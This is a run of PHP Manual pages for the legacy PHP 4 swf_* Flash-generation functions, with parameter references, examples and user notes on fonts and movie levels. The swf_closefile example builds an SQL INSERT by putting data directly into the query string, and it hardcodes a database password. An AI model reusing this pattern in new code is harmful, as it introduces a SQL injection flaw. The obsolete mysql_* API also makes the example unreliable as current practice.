  • swf_addcolor — Set the global add color to the rgba value specified
  • swf_closefile — Close the current Shockwave Flash file
  • swf_definebitmap — Define a bitmap
  • swf_definefont — Defines a font
  • swf_defineline — Define a line
  • swf_definepoly — Define a polygon
  • swf_definerect — Define a rectangle
  • swf_definetext — Define a text string
  • swf_endbutton — End the definition of the current button
  • swf_enddoaction — End the current action
  • swf_endshape — Completes the definition of the current shape
  • swf_endsymbol — End the definition of a symbol
  • swf_fontsize — Change the font size
  • swf_fontslant — Set the font slant
  • swf_fonttracking — Set the current font tracking
  • swf_getbitmapinfo — Get information about a bitmap
  • swf_getfontinfo — Gets font information
  • swf_getframe — Get the frame number of the current frame
  • swf_labelframe — Label the current frame
  • swf_lookat — Define a viewing transformation
  • swf_modifyobject — Modify an object
  • swf_mulcolor — Sets the global multiply color to the rgba value specified
  • swf_nextid — Returns the next free object id
  • swf_oncondition — Describe a transition used to trigger an action list
  • swf_openfile — Open a new Shockwave Flash file
  • swf_ortho2 — Defines 2D orthographic mapping of user coordinates onto the current viewport
  • swf_ortho — Defines an orthographic mapping of user coordinates onto the current viewport
  • swf_perspective — Define a perspective projection transformation
  • swf_placeobject — Place an object onto the screen
  • swf_polarview — Define the viewer's position with polar coordinates
  • swf_popmatrix — Restore a previous transformation matrix
  • swf_posround — Enables or Disables the rounding of the translation when objects are placed or moved
  • swf_pushmatrix — Push the current transformation matrix back onto the stack
  • swf_removeobject — Remove an object
  • swf_rotate — Rotate the current transformation
  • swf_scale — Scale the current transformation
  • swf_setfont — Change the current font
  • swf_setframe — Switch to a specified frame
  • swf_shapearc — Draw a circular arc
  • swf_shapecurveto3 — Draw a cubic bezier curve
  • swf_shapecurveto — Draw a quadratic bezier curve between two points
  • swf_shapefillbitmapclip — Set current fill mode to clipped bitmap
  • swf_shapefillbitmaptile — Set current fill mode to tiled bitmap
  • swf_shapefilloff — Turns off filling
  • swf_shapefillsolid — Set the current fill style to the specified color
  • swf_shapelinesolid — Set the current line style
  • swf_shapelineto — Draw a line
  • swf_shapemoveto — Move the current position
  • swf_showframe — Display the current frame
  • swf_startbutton — Start the definition of a button
  • swf_startdoaction — Start a description of an action list for the current frame
  • swf_startshape — Start a complex shape
  • swf_startsymbol — Define a symbol
  • swf_textwidth — Get the width of a string
  • swf_translate — Translate the current transformations
  • swf_viewport — Select an area for future drawing

User Contributed Notes

vivid at bwteam dot org 15-Nov-2004 05:52
I am using ActiveSWF toolkit to produce dynamic Flash movies from XML. I like it, because only I need to produce new dynamic movie is new XML. PHP code is the same. Additionally, it has quite good documentation. See http://www.activeswf.com
Mark Dijkman The Netherlands 13-Jan-2004 03:16
Let's not forget to mention there IS another alternative to Swf-lib and Ming. It's called FreeMovie and is created by Jacek Artymiak from O'Reilly. This piece of art is made out of PHP-files only wich makes it suitable for many platforms. The project is also available via SourceForge as freemovie-php.

Thumbs up for that one!
manuel DOT leiner AT gmx DOT de 28-Jul-2002 04:20
Just to mention for users of SuSE 8.0. libswf is included with the distro with no fonts. Therefore you must "patch" libswf support. As I didn't find the solution here before and I found a solution I am posting this fix:
Download the libswf package and uncompress to a directory (e.g. /usr/share/php/swf). Then include
"
SWFFONTPATH=/path/to/fonts
export SWFFONTPATH
"
Then log out and in again and restart apache. Then you should be able to use flash text functions within PHP.
daemorhedron 06-Mar-2002 10:50
For those having problems with libswf fonts you can add a system wide variable to point to the fonts dir in your shell.

In linux open up /etc/profile and add the lines :

SWFFONTPATH=/path/to/fonts
export SWFFONTPATH

Please not all of that is case sensitive, so copy it carefully. Logout and log back in to see changes (should affect all users). Test it from the command line with echo $SWFFONTPATH

For windows users you should be able to add

SET SWFFONTPATH=/path/to/fonts

in your autoexec.bat or autoexec.nt. Test it with echo %SWFFONTPATH%

HTH! =)
isu at tozsdeforum dot hu 16-Jan-2001 08:11
This works also! Write into the script:
putenv ("SWFFONTPATH=/path_to_swf/fonts");
Maybe you can do the job with apache somehow, but it did't work for me. (With getenv it looked ok, but the swf failed to find the font)
isu
ghisha at inwind dot it 05-Sep-2000 08:02
Writing on directory is not required. You can generate a run-time movie .. by replacing swf_openfile("<filename>", .... ) with swf_openfile("php://stdout", ....) and add before that an
Header("Content-type: application/x-shockwave-flash")
Basic usage
swf_actiongeturl
SWF


Get a URL from a Shockwave Flash movie

SWF Functions
swf_actiongotoframe
SWF Functions
PHP Manual

swf_actiongeturl

(PHP 4)

swf_actiongeturl — Get a URL from a Shockwave Flash movie

Description

void swf_actiongeturl ( string $url , string $target )

Gets the URL specified by the parameter url with the given target.

Parameters

url

The URL, as a string.

target

The target, as a string.

Return Values

No value is returned.

User Contributed Notes

Level32.com 31-May-2005 12:51
There are 16000 levels in Flash.

When I need something at the very top all the time, I put it on level 16000.

Typical case would be a close button, title, or some type of masking object like a border.
chris at simpehq dot com 14-Mar-2001 02:02
Yeah levels are just a way that flashes uses to seperate up movies.  If you are creating it using PHP and not from a designers point of view (IE FLASH) then i think you will always be accessing LEVEL 0
rob at notquitesonic dot com 05-Oct-2000 01:42
I was trying to figure out what target meant above so I checked out the libswf documentation (in the DOC.html file). It mentions two important targets: "_level0" and "_level1". "_level0" is for replacing the current movie and "_level1" is for overlaying ontop of the current movie.
SWF Functions
swf_actiongotoframe
SWF Functions


Play a frame and then stop

swf_actiongeturl
swf_actiongotolabel
SWF Functions
PHP Manual

swf_actiongotoframe

(PHP 4)

swf_actiongotoframe — Play a frame and then stop

Description

void swf_actiongotoframe ( int $framenumber )

The swf_actiongotoframe() function will go to the frame specified by framenumber, play it, and then stop.

Parameters

framenumber

The frame number.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_actiongeturl
swf_actiongotolabel
SWF Functions


Display a frame with the specified label

swf_actiongotoframe
swf_actionnextframe
SWF Functions
PHP Manual

swf_actiongotolabel

(PHP 4)

swf_actiongotolabel — Display a frame with the specified label

Description

void swf_actiongotolabel ( string $label )

The swf_actiongotolabel() function displays the frame with the label given by the label parameter and then stops.

Parameters

label

The frame label.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_actiongotoframe
swf_actionnextframe
SWF Functions


Go forward one frame

swf_actiongotolabel
swf_actionplay
SWF Functions
PHP Manual

swf_actionnextframe

(PHP 4)

swf_actionnextframe — Go forward one frame

Description

void swf_actionnextframe ( void )

Go forward one frame.

Return Values

No value is returned.

See Also

  • swf_actionprevframe() - Go backwards one frame

User Contributed Notes

There are no user contributed notes for this page.
swf_actiongotolabel
swf_actionplay
SWF Functions


Start playing the flash movie from the current frame

swf_actionnextframe
swf_actionprevframe
SWF Functions
PHP Manual

swf_actionplay

(PHP 4)

swf_actionplay — Start playing the flash movie from the current frame

Description

void swf_actionplay ( void )

Start playing the flash movie from the current frame.

Return Values

No value is returned.

See Also

  • swf_actionstop() - Stop playing the flash movie at the current frame

User Contributed Notes

There are no user contributed notes for this page.
swf_actionnextframe
swf_actionprevframe
SWF Functions


Go backwards one frame

swf_actionplay
swf_actionsettarget
SWF Functions
PHP Manual

swf_actionprevframe

(PHP 4)

swf_actionprevframe — Go backwards one frame

Description

void swf_actionprevframe ( void )

Go backwards one frame.

Return Values

No value is returned.

See Also

  • swf_actionnextframe() - Go forward one frame

User Contributed Notes

There are no user contributed notes for this page.
swf_actionplay
swf_actionsettarget
SWF Functions


Set the context for actions

swf_actionprevframe
swf_actionstop
SWF Functions
PHP Manual

swf_actionsettarget

(PHP 4)

swf_actionsettarget — Set the context for actions

Description

void swf_actionsettarget ( string $target )

Sets the context for all actions. You can use this to control other flash movies that are currently playing.

Parameters

target

The target, as a string.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_actionprevframe
swf_actionstop
SWF Functions


Stop playing the flash movie at the current frame

swf_actionsettarget
swf_actiontogglequality
SWF Functions
PHP Manual

swf_actionstop

(PHP 4)

swf_actionstop — Stop playing the flash movie at the current frame

Description

void swf_actionstop ( void )

Stop playing the flash movie at the current frame.

Return Values

No value is returned.

See Also

  • swf_actionplay() - Start playing the flash movie from the current frame

User Contributed Notes

rob at notquitesonic dot com 05-Oct-2000 01:39
this alone won't stop the frame, you need to follow it with a swf_showframe() to show the last frame (or pick a frame from your sequence to hold on)
swf_actionsettarget
swf_actiontogglequality
SWF Functions


Toggle between low and high quality

swf_actionstop
swf_actionwaitforframe
SWF Functions
PHP Manual

swf_actiontogglequality

(PHP 4)

swf_actiontogglequality — Toggle between low and high quality

Description

void swf_actiontogglequality ( void )

Toggle the flash movie between high and low quality.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_actionstop
swf_actionwaitforframe
SWF Functions


Skip actions if a frame has not been loaded

swf_actiontogglequality
swf_addbuttonrecord
SWF Functions
PHP Manual

swf_actionwaitforframe

(PHP 4)

swf_actionwaitforframe — Skip actions if a frame has not been loaded

Description

void swf_actionwaitforframe ( int $framenumber , int $skipcount )

The swf_actionwaitforframe() function will check to see if the frame, specified by the framenumber parameter has been loaded, if not it will skip the number of actions specified by the skipcount parameter. This can be useful for "Loading..." type animations.

Parameters

framenumber

The frame number.

skipcount

The number of actions to skip.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_actiontogglequality
swf_addbuttonrecord
SWF Functions


Controls location, appearance and active area of the current button

swf_actionwaitforframe
swf_addcolor
SWF Functions
PHP Manual

swf_addbuttonrecord

(PHP 4)

swf_addbuttonrecord — Controls location, appearance and active area of the current button

Description

void swf_addbuttonrecord ( int $states , int $shapeid , int $depth )

Allow you to define the specifics of using a button.

Parameters

states

Defines what states the button can have, these can be any or all of the following constants: BSHitTest, BSDown, BSOver or BSUp.

shapeid

The second parameter, the shapeid is the look of the button, this is usually the object id of the shape of the button.

depth

This parameter is the placement of the button in the current frame.

Return Values

No value is returned.

Examples

Example #1 swf_addbuttonrecord() example

<?php
swf_startButton($objid, TYPE_MENUBUTTON);
swf_addButtonRecord(BSDown|BSOver, $buttonImageId, 340);
swf_onCondition(MenuEnter);
swf_actionGetUrl("http://www.example.com", "_level1");
swf_onCondition(MenuExit);
swf_actionGetUrl("", "_level1");
swf_endButton();
?>

User Contributed Notes

There are no user contributed notes for this page.
swf_actionwaitforframe
swf_addcolor
SWF Functions


Set the global add color to the rgba value specified

swf_addbuttonrecord
swf_closefile
SWF Functions
PHP Manual

swf_addcolor

(PHP 4)

swf_addcolor — Set the global add color to the rgba value specified

Description

void swf_addcolor ( float $r , float $g , float $b , float $a )

Sets the global add color to the specified color. This color is then
implicitly used by the swf_placeobject(),
swf_modifyobject() and
swf_addbuttonrecord() functions.

The color of the object will be add by the given values when the object is written to the screen.

Parameters

r

Red value

g

Green value

b

Blue value

a

Alpha value

These parameters can be either positive or negative.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_addbuttonrecord
swf_closefile
SWF Functions


Close the current Shockwave Flash file

swf_addcolor
swf_definebitmap
SWF Functions
PHP Manual

swf_closefile

(PHP 4)

swf_closefile — Close the current Shockwave Flash file

Description

void swf_closefile ([ int $return_file ] )

Close a file that was opened by the swf_openfile() function.

Parameters

return_file

If set then the contents of the SWF file are returned from the function.

Return Values

No value is returned.

Examples

Example #1 Creating a simple flash file based on user input and outputting it and saving it in a database

<?php

// The $text variable is submitted by the
// user

// Global variables for database
// access (used in the swf_savedata() function)
$DBHOST = "localhost";
$DBUSER = "sterling";
$DBPASS = "secret";

swf_openfile("php://stdout", 256, 256, 30, 1, 1, 1);

    swf_definefont(10, "Ligon-Bold");
        swf_fontsize(12);
        swf_fontslant(10);

    swf_definetext(11, $text, 1);

    swf_pushmatrix();
        swf_translate(-50, 80, 0);
        swf_placeobject(11, 60);
    swf_popmatrix();

    swf_showframe();

    swf_startdoaction();
        swf_actionstop();
    swf_enddoaction();

$data = swf_closefile(1);

$data ?
  swf_savedata($data) :
  die("Error could not save SWF file");

// void swf_savedata(string data)
// Save the generated file a database
// for later retrieval
function swf_savedata($data)
{
    global $DBHOST,
           $DBUSER,
           $DBPASS;

    $dbh = @mysql_connect($DBHOST, $DBUSER, $DBPASS);

    if (!$dbh) {
        die (sprintf("Error [%d]: %s",
                      mysql_errno(), mysql_error()));
    }

    $stmt = "INSERT INTO swf_files (file) VALUES ('$data')";

    $sth = @mysql_query($stmt, $dbh);

    if (!$sth) {
        die (sprintf("Error [%d]: %s",
                      mysql_errno(), mysql_error()));
    }

    @mysql_free_result($sth);
    @mysql_close($dbh);
}
?>

See Also

  • swf_openfile() - Open a new Shockwave Flash file

User Contributed Notes

There are no user contributed notes for this page.
swf_addcolor
swf_definebitmap
SWF Functions


Define a bitmap

swf_closefile
swf_definefont
SWF Functions
PHP Manual

swf_definebitmap

(PHP 4)

swf_definebitmap — Define a bitmap

Description

void swf_definebitmap ( int $objid , string $image_name )

The swf_definebitmap() function defines a bitmap given an image.

Parameters

objid

An SWF object id.

image_name

A GIF, JPEG, RGB or FI image. The image will be converted into a Flash JPEG or Flash color map format.

Return Values

No value is returned.

User Contributed Notes

hotkey at hehe dot com 02-May-2001 10:32
Hi!
I'm currently developing a HTML2SWF php, and I had serious problems displaying images...

swf_definebitmap() does not seem to work for "just displaying" a picture, e.g.
--------
swf_definebitmap(1,"myfile.gif");
swf_placeobject(1,10);
--------
(The image won't show up as expected)

...BUT...

everything worX fine when filling a shape with a picture, e.g.:

---------
swf_definebitmap(1,"myfile.gif");
swf_startshape(2);
 swf_shapelinesolid(0.1,0.1,0.1,1,0.2);
 swf_shapefillbitmapclip(1);
 swf_shapearc(50,50,100,0,360);
swf_endshape(2);
swf_placeobject(2,10);
---------

Hope, I could help some guys out there!

regards
HotKey

P.S. php rulez!
swf_closefile
swf_definefont
SWF Functions


Defines a font

swf_definebitmap
swf_defineline
SWF Functions
PHP Manual

swf_definefont

(PHP 4)

swf_definefont — Defines a font

Description

void swf_definefont ( int $fontid , string $fontname )

The swf_definefont() function defines a font parameter and gives it the specified id. It then sets the font given by fontname to the current font.

Parameters

fontid

The id to be given to the font.

fontname

The font so be set as current font.

Return Values

No value is returned.

See Also

  • swf_definetext() - Define a text string

User Contributed Notes

Joachim Kruyswijk 28-Jan-2006 05:50
<?php

    # Show seven fonts in random sizes and colors.
    # Reload to see the changes
    header("Content-type: application/x-shockwave-flash");

    # Higher values for $frames make it quicker!
    $frames = 1;

    swf_openfile("php://stdout", 256, 256, $frames, .9, .9, .9);

    #    Viewport. Bigger values give a bigger viewport and tinier content
    define("VIEWPORT", 150);
    swf_ortho2(-VIEWPORT, VIEWPORT, -VIEWPORT, VIEWPORT);

    #    Start with empty frame
    swf_showframe();

    $tmp = 500;
    $fontnum = -1;

    $fonts = explode(",", "Curl-Roman,Haeberli,Inja,Ligon-Bold,Ligon-Roman,Mod,Pix3");
    swf_translate(-100, 100, 0);
    for( $i = 0; $i< sizeof( $fonts ); $i++ ){
        swf_addcolor(rnd01(), rnd01(), rnd01(), 0);
        swf_definefont(++$fontnum, $fonts[$i]);
        swf_fontsize( rand(6,45) );
        # Show font name. Remove "-" from font name as Curl-Roman does not support that character!
        swf_definetext(++$tmp, str_replace("-", "", $fonts[$i] ), 0);
        swf_translate(0, -20, 0);
        swf_placeobject($tmp, 60);
        swf_showframe();
    }

    swf_closefile();

    #    Return random color value i.e. value between 0 and 1
    function rnd01(){ return (mt_rand(0,0xFF) / 0xFF); }
?>
greg at newtechy dot com 16-Aug-2001 07:35
These are the standard fonts that I have found so far that come with this engine.

"Curl-Roman"
"Haeberli"
"Inja"
"Ligon-Bold"
"Ligon-Roman"
"Mod"
"Pix3"

Most of them are not too great but they are the only ones that come by default.  There are ways to convert other fonts so that you can use them.  I haven't converted any yet so I don't know for sure how well it works.
swf_definebitmap
swf_defineline
SWF Functions


Define a line

swf_definefont
swf_definepoly
SWF Functions
PHP Manual

swf_defineline

(PHP 4)

swf_defineline — Define a line

Description

void swf_defineline ( int $objid , float $x1 , float $y1 , float $x2 , float $y2 , float $width )

Defines a line.

Parameters

objid

The object id.

x1

x-coordinate of start point.

y1

y-coordinate of start point.

x2

x-coordinate of end point.

y2

y-coordinate of end point.

width

The line width.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_definefont
swf_definepoly
SWF Functions


Define a polygon

swf_defineline
swf_definerect
SWF Functions
PHP Manual

swf_definepoly

(PHP 4)

swf_definepoly — Define a polygon

Description

void swf_definepoly ( int $objid , array $coords , int $npoints , float $width )

Defines a polygon given an array of x, y coordinates.

Parameters

objid

The object id.

coords

An array of x, y coordinates.

npoints

The number of overall points that are contained in the array given by coords

width

The width of the polygon's border, if set to 0.0 the polygon is filled.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_defineline
swf_definerect
SWF Functions


Define a rectangle

swf_definepoly
swf_definetext
SWF Functions
PHP Manual

swf_definerect

(PHP 4)

swf_definerect — Define a rectangle

Description

void swf_definerect ( int $objid , float $x1 , float $y1 , float $x2 , float $y2 , float $width )

Defines a rectangle with an upper left hand coordinate and a lower right hand coordinate.

Parameters

objid

The object id.

x1

x-coordinate of upper left point.

y1

y-coordinate of upper left point.

x2

x-coordinate of lower right point.

y2

y-coordinate of lower right point.

width

Width of the rectangles border, if the width is 0.0 then the rectangle is filled.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_definepoly
swf_definetext
SWF Functions


Define a text string

swf_definerect
swf_endbutton
SWF Functions
PHP Manual

swf_definetext

(PHP 4)

swf_definetext — Define a text string

Description

void swf_definetext ( int $objid , string $str , int $docenter )

Defines a text string using the current font and font size.

Parameters

objid

The object id.

str

The text, as a string.

docenter

The docenter is where the word is centered, if docenter is 1, then the word is centered in x.

Return Values

No value is returned.

Examples

Example #1 Horizontal text example

<?php

$Xposition = 50;
$Yposition = 50;
$Zposition = 0;
$Obj_depth = 1;

$char = 'THIS IS THE TEXT';

swf_pushmatrix();

swf_definefont (swf_nextid(), "Mod");
swf_fontsize(10);

$secondid = swf_nextid();
swf_definetext($secondid, $char, 1);
swf_translate($Xposition, $Yposition, Zposition);
swf_placeobject($secondid, $Obj_depth);
swf_popmatrix();

?>

See Also

  • swf_definefont() - Defines a font

User Contributed Notes

There are no user contributed notes for this page.
swf_definerect
swf_endbutton
SWF Functions


End the definition of the current button

swf_definetext
swf_enddoaction
SWF Functions
PHP Manual

swf_endbutton

(PHP 4)

swf_endbutton — End the definition of the current button

Description

void swf_endbutton ( void )

The swf_endbutton() function ends the definition of the current button.

Return Values

No value is returned.

See Also

  • swf_startbutton() - Start the definition of a button

User Contributed Notes

There are no user contributed notes for this page.
swf_definetext
swf_enddoaction
SWF Functions


End the current action

swf_endbutton
swf_endshape
SWF Functions
PHP Manual

swf_enddoaction

(PHP 4)

swf_enddoaction — End the current action

Description

void swf_enddoaction ( void )

Ends the current action started by the swf_startdoaction() function.

Return Values

No value is returned.

See Also

  • swf_startdoaction() - Start a description of an action list for the current frame

User Contributed Notes

There are no user contributed notes for this page.
swf_endbutton
swf_endshape
SWF Functions


Completes the definition of the current shape

swf_enddoaction
swf_endsymbol
SWF Functions
PHP Manual

swf_endshape

(PHP 4)

swf_endshape — Completes the definition of the current shape

Description

void swf_endshape ( void )

The swf_endshape() completes the definition of the current shape.

Return Values

No value is returned.

See Also

  • swf_startshape() - Start a complex shape

User Contributed Notes

There are no user contributed notes for this page.
swf_enddoaction
swf_endsymbol
SWF Functions


End the definition of a symbol

swf_endshape
swf_fontsize
SWF Functions
PHP Manual

swf_endsymbol

(PHP 4)

swf_endsymbol — End the definition of a symbol

Description

void swf_endsymbol ( void )

Ends the definition of a symbol that was started by the swf_startsymbol() function.

Return Values

No value is returned.

See Also

  • swf_startsymbol() - Define a symbol

User Contributed Notes

There are no user contributed notes for this page.
swf_endshape
swf_fontsize
SWF Functions


Change the font size

swf_endsymbol
swf_fontslant
SWF Functions
PHP Manual

swf_fontsize

(PHP 4)

swf_fontsize — Change the font size

Description

void swf_fontsize ( float $size )

Changes the font size to the value given by the size parameter.

Parameters

size

The font size, as an integer.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_endsymbol
swf_fontslant
SWF Functions


Set the font slant

swf_fontsize
swf_fonttracking
SWF Functions
PHP Manual

swf_fontslant

(PHP 4)

swf_fontslant — Set the font slant

Description

void swf_fontslant ( float $slant )

Set the current font slant to the angle indicated by the slant parameter.

Parameters

slant

Positive values create a forward slant, negative values create a negative slant.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_fontsize
swf_fonttracking
SWF Functions


Set the current font tracking

swf_fontslant
swf_getbitmapinfo
SWF Functions
PHP Manual

swf_fonttracking

(PHP 4)

swf_fonttracking — Set the current font tracking

Description

void swf_fonttracking ( float $tracking )

Set the font tracking to the value specified by the tracking parameter. This function is used to increase the spacing between letters and text, positive values increase the space and negative values decrease the space between letters.

Parameters

tracking

The font tracking.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_fontslant
swf_getbitmapinfo
SWF Functions


Get information about a bitmap

swf_fonttracking
swf_getfontinfo
SWF Functions
PHP Manual

swf_getbitmapinfo

(PHP 4)

swf_getbitmapinfo — Get information about a bitmap

Description

array swf_getbitmapinfo ( int $bitmapid )

Returns information about a bitmap.

Parameters

bitmapid

The bitmap id.

Return Values

Returns an array with the following elements:

  • "size" - The size in bytes of the bitmap.
  • "width" - The width in pixels of the bitmap.
  • "height" - The height in pixels of the bitmap.

User Contributed Notes

There are no user contributed notes for this page.
swf_fonttracking
swf_getfontinfo
SWF Functions


Gets font information

swf_getbitmapinfo
swf_getframe
SWF Functions
PHP Manual

swf_getfontinfo

(PHP 4)

swf_getfontinfo — Gets font information

Description

array swf_getfontinfo ( void )

Gets information about the font by giving the height in pixels of a capital A and a lowercase x.

Return Values

Returns an associative array with the following parameters:

  • Aheight - The height in pixels of a capital A.
  • xheight - The height in pixels of a lowercase x.

User Contributed Notes

There are no user contributed notes for this page.
swf_getbitmapinfo
swf_getframe
SWF Functions


Get the frame number of the current frame

swf_getfontinfo
swf_labelframe
SWF Functions
PHP Manual

swf_getframe

(PHP 4)

swf_getframe — Get the frame number of the current frame

Description

int swf_getframe ( void )

The swf_getframe() function gets the number of the current frame.

Return Values

Returns the current frame number, as an integer.

See Also

  • swf_setframe() - Switch to a specified frame

User Contributed Notes

There are no user contributed notes for this page.
swf_getfontinfo
swf_labelframe
SWF Functions


Label the current frame

swf_getframe
swf_lookat
SWF Functions
PHP Manual

swf_labelframe

(PHP 4)

swf_labelframe — Label the current frame

Description

void swf_labelframe ( string $name )

Labels the current frame with the given name.

Parameters

name

The frame label.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_getframe
swf_lookat
SWF Functions


Define a viewing transformation

swf_labelframe
swf_modifyobject
SWF Functions
PHP Manual

swf_lookat

(PHP 4)

swf_lookat — Define a viewing transformation

Description

void swf_lookat ( float $view_x , float $view_y , float $view_z , float $reference_x , float $reference_y , float $reference_z , float $twist )

Defines a viewing transformation by giving the viewing position and the coordinates of a reference point in the scene.

Parameters

view_x

x-coordinate for the viewing position

view_y

y-coordinate for the viewing position

view_z

z-coordinate for the viewing position

reference_x

x-coordinate for the reference point

reference_y

y-coordinate for the reference point

reference_z

z-coordinate for the reference point

twist

Controls the rotation along with viewer's z axis.

Return Values

No value is returned.

Examples

Example #1 A simple 3D-rotation around a text

<?php

header('Content-type: application/x-shockwave-flash');

swf_openfile("php://stdout", 320, 200, 25, 1, 1, 1);

swf_ortho(-100, 100, -100, 100, -100, 100); // create 3D coordinates

swf_definefont(0, "Pix3");
swf_addcolor(0, 0, 0, 1);
swf_fontsize(10);
swf_fonttracking(0.2);

for ($i = 0; $i < 628; $i += 8) {
    $j = $i / 100;
    swf_pushmatrix();
    swf_translate(0, 0, 0);
    swf_perspective(100, 1, 0, 10);
    swf_lookat(sin($j) * 60, 50, cos($j) * 60, 0, 0, 0, 0);

    swf_definetext (1, 'HotKey@', 0);
    swf_translate(-50,0,0);

    swf_placeobject(1,10);

    swf_definetext(2, 'example.com', 0);
    swf_translate(55, 0, 0);
    swf_placeobject(2, 11);

    swf_showframe();
    swf_removeobject(10);
    swf_removeobject(11);
    swf_popmatrix();
}

swf_closefile();
?>

User Contributed Notes

There are no user contributed notes for this page.
swf_labelframe
swf_modifyobject
SWF Functions


Modify an object

swf_lookat
swf_mulcolor
SWF Functions
PHP Manual

swf_modifyobject

(PHP 4)

swf_modifyobject — Modify an object

Description

void swf_modifyobject ( int $depth , int $how )

Updates the position and/or color of the object at the specified depth.

Parameters

depth

The depth, as an integer.

how

Determines what is updated. how can either be the constant MOD_MATRIX or MOD_COLOR or it can be a combination of both.

MOD_COLOR uses the current mulcolor (specified by the function swf_mulcolor()) and addcolor (specified by the function swf_addcolor()) to color the object. MOD_MATRIX uses the current matrix to position the object.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_lookat
swf_mulcolor
SWF Functions


Sets the global multiply color to the rgba value specified

swf_modifyobject
swf_nextid
SWF Functions
PHP Manual

swf_mulcolor

(PHP 4)

swf_mulcolor — Sets the global multiply color to the rgba value specified

Description

void swf_mulcolor ( float $r , float $g , float $b , float $a )

Sets the global multiply color to the given one. This color is then
implicitly used by the swf_placeobject(),
swf_modifyobject() and
swf_addbuttonrecord() functions.

The color of the object will be multiplied by the given color values when the object is written to the screen.

Parameters

r

Red value

g

Green value

b

Blue value

a

Alpha value

These parameters can be either positive or negative.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_modifyobject
swf_nextid
SWF Functions


Returns the next free object id

swf_mulcolor
swf_oncondition
SWF Functions
PHP Manual

swf_nextid

(PHP 4)

swf_nextid — Returns the next free object id

Description

int swf_nextid ( void )

The swf_nextid() function returns the next available object id.

Return Values

Returns the id, as an integer.

User Contributed Notes

There are no user contributed notes for this page.
swf_mulcolor
swf_oncondition
SWF Functions


Describe a transition used to trigger an action list

swf_nextid
swf_openfile
SWF Functions
PHP Manual

swf_oncondition

(PHP 4)

swf_oncondition — Describe a transition used to trigger an action list

Description

void swf_oncondition ( int $transition )

The swf_oncondition() function describes a transition that will trigger an action list.

Parameters

transition

There are several types of possible transitions, the following are for buttons defined as TYPE_MENUBUTTON:

  • IdletoOverUp
  • OverUptoIdle
  • OverUptoOverDown
  • OverDowntoOverUp
  • IdletoOverDown
  • OutDowntoIdle
  • MenuEnter (IdletoOverUp|IdletoOverDown)
  • MenuExit (OverUptoIdle|OverDowntoIdle)
For TYPE_PUSHBUTTON there are the following options:
  • IdletoOverUp
  • OverUptoIdle
  • OverUptoOverDown
  • OverDowntoOverUp
  • OverDowntoOutDown
  • OutDowntoOverDown
  • OutDowntoIdle
  • ButtonEnter (IdletoOverUp|OutDowntoOverDown)
  • ButtonExit (OverUptoIdle|OverDowntoOutDown)

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_nextid
swf_openfile
SWF Functions


Open a new Shockwave Flash file

swf_oncondition
swf_ortho2
SWF Functions
PHP Manual

swf_openfile

(PHP 4)

swf_openfile — Open a new Shockwave Flash file

Description

void swf_openfile ( string $filename , float $width , float $height , float $framerate , float $r , float $g , float $b )

Opens a new file. This must be the first function you call, otherwise your script will not work.

Parameters

filename

The path to the SWF file. If you want to send your output to the screen, set this to php://stdout.

width

The movie width

height

The movie height

framerate

The frame rate.

r

Red value for the background.

g

Green value for the background.

b

Blue value for the background.

Return Values

No value is returned.

Changelog

Version | Description
4.0.1 | Support for php://stdout was added.

See Also

  • swf_closefile() - Close the current Shockwave Flash file

User Contributed Notes

There are no user contributed notes for this page.
swf_oncondition
swf_ortho2
SWF Functions


Defines 2D orthographic mapping of user coordinates onto the current viewport

swf_openfile
swf_ortho
SWF Functions
PHP Manual

swf_ortho2

(PHP 4)

swf_ortho2 — Defines 2D orthographic mapping of user coordinates onto the current viewport

Description

void swf_ortho2 ( float $xmin , float $xmax , float $ymin , float $ymax )

Defines a two dimensional orthographic mapping of user coordinates onto the current viewport, this defaults to one to one mapping of the area of the Flash movie.

If a perspective transformation is desired, swf_perspective() can be used.

Parameters

xmin

xmax

ymin

ymax

Return Values

No value is returned.

See Also

  • swf_ortho() - Defines an orthographic mapping of user coordinates onto the current viewport

User Contributed Notes

There are no user contributed notes for this page.
swf_openfile
swf_ortho
SWF Functions


Defines an orthographic mapping of user coordinates onto the current viewport

swf_ortho2
swf_perspective
SWF Functions
PHP Manual

swf_ortho

(PHP 4 >= 4.0.1)

swf_ortho — Defines an orthographic mapping of user coordinates onto the current viewport

Description

void swf_ortho ( float $xmin , float $xmax , float $ymin , float $ymax , float $zmin , float $zmax )

Defines an 3D orthographic mapping of user coordinates onto the current viewport.

Parameters

xmin

xmax

ymin

ymax

zmin

zmax

Return Values

No value is returned.

See Also

  • swf_ortho2() - Defines 2D orthographic mapping of user coordinates onto the current viewport

User Contributed Notes

There are no user contributed notes for this page.
swf_ortho2
swf_perspective
SWF Functions


Define a perspective projection transformation

swf_ortho
swf_placeobject
SWF Functions
PHP Manual

swf_perspective

(PHP 4)

swf_perspective — Define a perspective projection transformation

Description

void swf_perspective ( float $fovy , float $aspect , float $near , float $far )

Defines a perspective projection transformation.

Note:

Various distortion artifacts may appear when performing a perspective projection, this is because Flash players only have a two dimensional matrix. Some are not to pretty.

Parameters

fovy

A field-of-view angle in the y direction.

aspect

The aspect ratio of the viewport that is being drawn onto.

near

The near clipping plane.

far

The far clipping plane.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_ortho
swf_placeobject
SWF Functions


Place an object onto the screen

swf_perspective
swf_polarview
SWF Functions
PHP Manual

swf_placeobject

(PHP 4)

swf_placeobject — Place an object onto the screen

Description

void swf_placeobject ( int $objid , int $depth )

